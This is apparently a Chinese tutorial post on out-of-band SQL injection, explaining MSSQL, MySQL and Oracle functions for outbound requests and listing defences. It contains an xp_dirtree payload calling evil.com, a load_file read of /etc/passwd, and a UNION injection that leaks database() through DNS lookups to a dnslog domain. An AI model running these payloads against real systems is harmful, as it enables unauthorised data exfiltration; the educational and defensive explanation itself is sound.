SQL带外注入

SQL 带外注入(Out-of-Band SQL Injection, OOB SQLi) 是 SQL 注入的一种特殊类型,主要用于以下情况:

  • 数据库没有直接返回错误信息(比如被防火墙拦截了)。
  • 无法使用常规注入手法(如 UNION、错误信息等)。
  • 需要数据库主动把数据发给攻击者(比如通过 DNS 或 HTTP 请求)。

简单类比

想象你在一个图书馆(数据库)里找书,但管理员(安全机制)不允许你直接看书的目录(查询结果)。

  • 正常方式:你直接问管理员“有没有《SQL 高手》?”(普通 SQL 查询)。
  • 传统注入:你偷偷加一句“把所有书的名字都告诉我”(常规 SQL 注入)。
  • 带外注入:你留下一个邮箱(类似 DNS 或 HTTP 服务器),让管理员悄悄把书单发到那里。

如何实现 OOB SQL 注入?

OOB SQLi 主要利用数据库支持的外部通信功能,比如:

MSSQL → xp_dirtree、OPENROWSET 可向远程服务器发送请求
MySQL → LOAD_FILE()、OUTFILE 可读写文件
Oracle → UTL_HTTP、DBMS_LDAP 可向外部服务器发送请求
示例(MSSQL 发送 DNS 请求):

; EXEC master.dbo.xp_dirtree '\\evil.com\share'

攻击者搭建 evil.com 服务器,收到请求后,就能确认 SQL 代码被执行了。

如何防范 OOB SQLi?

使用预编译语句(Prepared Statements),避免 SQL 直接拼接用户输入。
限制数据库访问外部网络,防止数据泄露到攻击者控制的服务器。
开启 Web 应用防火墙(WAF),监测和拦截异常 SQL 请求。
简单来说,OOB SQL 注入就是一种数据库偷偷向攻击者汇报信息的手法,如果不加以防范,攻击者可能绕过安全限制,获取敏感数据。

靶场实现带外注入的条件

条件一:

my.ini中secure_file_priv必须为空

  • my.ini 是 MySQL 数据库的配置文件,用来控制 MySQL 的各种行为,比如端口号、数据存储位置、权限设置等。
  • secure_file_priv 是 MySQL 里的一个安全机制,用来限制数据库读写外部文件的能力,防止恶意 SQL 代码滥用 LOAD DATA 和 SELECT INTO OUTFILE 等语句。
show variables like "secure_file_priv"    //在数据库中展示配置文件中相关参数的值secure_file_priv =			//对文件的导入导出无限制
secure_file_priv = null		//不允许文件导入导出
secure_file_priv = /tmp		//指定文件导入导出限制在/tmp目录下load_file("/etc/passwd")	//导入
select 1,2,3 into outfile "/tmp/1.txt"	//导出

条件二:

windows环境
UNC路径:windows共享资源的访问方式
\172.23.100.100\abc\

带外,从dnslog看数据
触发dns请求
构造一种域名使得目标发起对域名的解析
通过load_file构造一个远程资源请求
\xxx.xxx.com\1.txt
xxxxxx.vybunimo.com
load_file(concat(‘\\’,‘database()’,‘.vybunimo.com\abc’))

select x,x,x from xxxx where id = ‘1’ union select 1,2, load_file(concat(‘\\’,‘database()’,‘.vybunimo.com\abc’)) #

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/70407.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

电脑右下角小喇叭没反应怎么回事,快速解决方案

当电脑右下角的小喇叭(音量图标)没有反应时,可以尝试以下快速解决方案: 一、基础检查与操作 检查键盘音量键: 按下键盘上的音量增加或减少键,或尝试Fn音量键(部分笔记本需组合键)&a…

【服务器知识】如何在linux系统上搭建一个nfs

文章目录 NFS网络系统搭建**1. 准备工作****2. 服务器端配置****(1) 安装 NFS 服务****(2) 创建共享目录****(3) 配置共享规则****(4) 生效配置并启动服务****(5) 防火墙配置** **3. 客户端配置****(1) 安装 NFS 客户端工具****(2) 创建本地挂载点****(3) 挂载 NFS 共享目录***…

P3654 First Step (ファーストステップ)(贪心算法)

#include<bits/stdc.h> using namespace std;int main() {int r,c,k;cin>>r>>c>>k;char a[105][105];int ans0;for(int i0;i<r;i){for(int j0;j<c;j){cin>>a[i][j];}}for(int i0;i<r;i){int cnt0; // 用来记录连续空地的数量for(int j…

ASP.NET Core对JWT的封装

目录 JWT封装 [Authorize]的注意事项 JWT封装 NuGet 库 |Microsoft.AspNetCore.Authentication.JwtBearer 9.0.1https://www.nuget.org/packages/Microsoft.AspNetCore.Authentication.JwtBearerhttps://www.nuget.org/packages/Microsoft.AspNetCore.Authentication.JwtBea…

Windows Docker笔记-在容器中运行项目

在文章《Windows Docker笔记-Docker容器操作》中&#xff0c;已经成功创建了容器&#xff0c;也就是建好了工厂&#xff0c;接下来就应该要安装流水线设备&#xff0c;即运行项目达到生产的目的。 在Ubuntu容器中新建项目 这里要新建一个简单的C项目&#xff0c;步骤如下&…

unity报错不存在类型或者命名空间

导入资源或者打开项目时&#xff0c;突然发现多了一堆报错&#xff0c;如 Assets\2DGamekit\Utilities\DefaultPlayables\ScreenFader\ScreenFaderBehaviour.cs(5,19): error CS0234: The type or namespace name UI does not exist in the namespace UnityEngine (are you mi…

【热点文章-定时计算】分布式任务调度框架xxl-job

分布式任务调度 在分布式架构下&#xff0c;一个服务会部署多个实例来运行业务&#xff1b;如果在这种分布式系统环境下运行任务调度&#xff0c;称为分布式任务调度。 分布式任务调度框架&#xff1a;xxl-job xxl-job环境搭建 本机 仓库源码&#xff1a;xxl-job 初始化…

嵌入式面试题 C/C++常见面试题整理_7

一.什么函数不能声明为虚函数? 常见的不能声明为虚函数的有:普通函数(非成员函数):静态成员函数;内联成员函数;构造函数;友元函数。 1.为什么C不支持普通函数为虚函数?普通函数(非成员函数)只能被overload&#xff0c;不能被override&#xff0c;声明为虚函数也没有什么意思…

【MySQL】深入了解索引背后的内部结构

目录 索引的认识&#xff1a; 作用&#xff1a; 索引的使用&#xff1a; 索引底层的数据结构&#xff1a; 哈希表 AVL树 红黑树 B树&#xff1a; B树&#xff1a; B树搜索&#xff1a; 索引的认识&#xff1a; 索引是数据库中的一个数据结构&#xff0c;用于加速查询…

数据库基础练习4(有关索引,视图完整解答)

建立需要的表 学生表 mysql> create table studnet(sno int primary key auto_increment,sname varchar(30) not null unique,ssex varchar(2) check (ssex男 or ssex女) not null ,sage int not null,sdept varchar(10) default 计算机 not null); Query OK, 0 rows affe…

最新版Node.js下载安装指定版本图文版教程(非常详细)

文字目录 1、什么是Node.js&#xff1f;2、什么是 npm&#xff1f;3、下载Node.js安装包4、详细安装步骤 1、什么是Node.js&#xff1f; Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行环境&#xff0c;它使 JavaScript 可以在服务器端运行。在 Node.js 出现之前&#…

Spring Boot Web 入门

目录 Spring Boot Web 是 Spring Boot 框架的一个重要模块&#xff0c;它简化了基于 Spring 的 Web 应用程序的开发过程。以下是一个 Spring Boot Web 项目的入门指南&#xff0c;涵盖了项目创建、代码编写、运行等关键步骤。 1. 项目创建 使用 Spring Initializr 使用 IDE …

深度解读 Docker Swarm

一、引言 随着业务规模的不断扩大和应用复杂度的增加,容器集群管理的需求应运而生。如何有效地管理和调度大量的容器,确保应用的高可用性、弹性伸缩和资源的合理分配,成为了亟待解决的问题。Docker Swarm 作为 Docker 官方推出的容器集群管理工具,正是在这样的背景下崭露头…

eggnog后kegg结果提取和注释

首先进入KEGG BRITE: KEGG Orthology (KO) 下载json文件 用python处理一下 import json import re import osos.chdir("C:/Users/fordata/Downloads/") with open("ko00001.json","r") as f:fj f.read()kojson json.loads(fj)with open(&qu…

qt6.8安装mysql8.0驱动

qt6.8安装mysql8.0驱动 qt6.8本身是不带mysql驱动。想要在qt里面使用mysql,还是比较麻烦的。需要自己编译驱动 首先下载qt源码&#xff0c;链接Index of /archive/qt/6.8/6.8.1/single 下载mysql对于驱动文件&#xff0c;链接是MySQL :: Download MySQL Connector/C (Archiv…

学习threejs,使用Lensflare模拟镜头眩光

&#x1f468;‍⚕️ 主页&#xff1a; gis分享者 &#x1f468;‍⚕️ 感谢各位大佬 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! &#x1f468;‍⚕️ 收录于专栏&#xff1a;threejs gis工程师 文章目录 一、&#x1f340;前言1.1 ☘️THREE.Lensflare 二、&…

结构化表达(一):观点

目录 观点 一、观点明确 二、观点先行 三、观点先行适用范围 观点 一、观点明确 观点是指具有中心思想的一句话&#xff0c;或者称之为有灵魂的表达。 二、观点先行 如果有了明确的观点&#xff0c;并且说在前面&#xff0c;对方就会很容易记住你想表达的内容。 三、观…

Cortex-M异常处理深度解析:从HardFault到调试实战

文章目录 引言一、Cortex-M异常类型全景图二、关键寄存器:故障分析的“密码本”1. HardFault状态寄存器(HFSR, 0xE000ED2C)2. 可配置故障状态寄存器(CFSR, 0xE000ED28)3. 地址寄存器(BFAR/MMFAR)三、调试实战:从寄存器到代码定位四、自定义HardFault处理程序五、Keil与…

Retrieval-Augmented Generation,检索增强生成流程

RAG流程 用户输入接收 系统接收用户输入的查询问题或文本内容&#xff0c;例如“李白有哪些著名的作品&#xff1f;”用户输入可以通过自然语言处理&#xff08;NLP&#xff09;模型的输入端口或用户交互界面&#xff08;如聊天应用、搜索引擎输入框等&#xff09;接收。 查询…

【大模型】DeepSeek与chatGPT的区别以及自身的优势

目录 一、前言二、核心技术对比2.1 模型架构设计2.1.1 ChatGPT的Transformer架构2.1.2 DeepSeek的混合架构 2.2 训练数据体系2.2.1 ChatGPT的数据特征2.2.2 DeepSeek的数据策略 三、应用场景对比3.1 通用场景表现3.1.1 ChatGPT的强项领域3.2.2 DeepSeek的专项突破 3.3 响应效率…